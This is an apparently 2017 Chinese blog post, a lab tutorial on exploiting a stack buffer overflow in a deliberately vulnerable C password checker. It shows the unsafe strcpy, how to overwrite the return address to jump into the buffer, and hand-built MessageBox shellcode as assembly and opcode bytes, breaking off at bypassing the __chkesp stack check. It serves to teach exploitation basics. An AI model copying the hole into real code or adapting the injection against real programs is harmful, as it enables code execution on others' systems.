漏洞挖掘 向目标进程中植入代码

 1 #include <stdio.h>
 2 
 3 #include <windows.h>
 4 
 5 
 6 
 7 #define PASSWORD "1234567"
 8 
 9 
10 
11 int verify_password(char *password)
12 
13 {
14 
15     int authenticated;
16 
17     char buffer[44];
18 
19     authenticated = strcmp(password,PASSWORD);
20 
21     strcpy(buffer,password);  //溢出就在这里
22 
23     return authenticated;
24 
25 }
26 
27 
28 
29 void main()
30 
31 {
32 
33     int valid_flag =0;
34 
35     char password[1024];
36 
37     FILE *fp;
38 
39 
40 
41     if (!(fp=fopen("password.txt","rw+")))
42 
43     {
44 
45         exit(0);
46 
47     }
48 
49     fscanf(fp,"%s",password);
50 
51 
52 
53     valid_flag = verify_password(password);
54 
55 
56 
57     if (valid_flag !=0)
58 
59     {
60 
61         printf("incorrect password!\n\n");
62 
63     }
64 
65     else
66 
67     {
68 
69         printf("Congratulation! You have passed the verification!\n");
70 
71     }
72 
73     fclose(fp);
74 
75     getchar();
76 
77 }

构建44个字节的数据  在xDbg中观察堆栈中数据

 

 

在构建5组4321  淹没到返回地址处  将返回地址处修改为0029FA50 那么会直接跳转到Buffer中  从而实现想程序中执行代码

 

 

当程序跳转进Buffer中  需要执行机器代码  我们构建一个MessageBox的机器代码

int MessageBox(
  HWND hWnd,          // handle of owner window
  LPCTSTR lpText,     // address of text in message box
  LPCTSTR lpCaption,  // address of title of message box
  UINT uType          // style of message box
);


push NULL
push 标题
push 内容
push NULL
call messagebox

xor     ebx, ebx
push ebx
push 74736577h
push 6C696166h
push ebx
mov eax,6BAFD000h 
call   eax
;每个机器中的MessageBoxA的地址不同  需要用VC3.0自带的Depend查看



33 DB                                   xor     ebx, ebx
53                                        push    ebx
68 77 65 73 74                    push    74736577h
68 66 61 69 6C                    push    6C696166h
8B C4                                   mov     eax, esp
53                                        push    ebx
50                                        push    eax
50                                        push    eax
53                                        push    ebx
B8 00 D0 AF 6B                   mov     eax,6BAFD000h 
FF  D0                                  call       eax    

将机器码写入Buffer中  理论上应该就可以出现MessageBox  但是在调试中  出现了一个小问题

 

 

程序在结束时 会出现chkesp  __chkesp来实现堆栈检查

 

需要绕过chkesp

 

 

posted on 2017-01-12 13:14  yifi  阅读(347)  评论(0编辑  收藏  举报

导航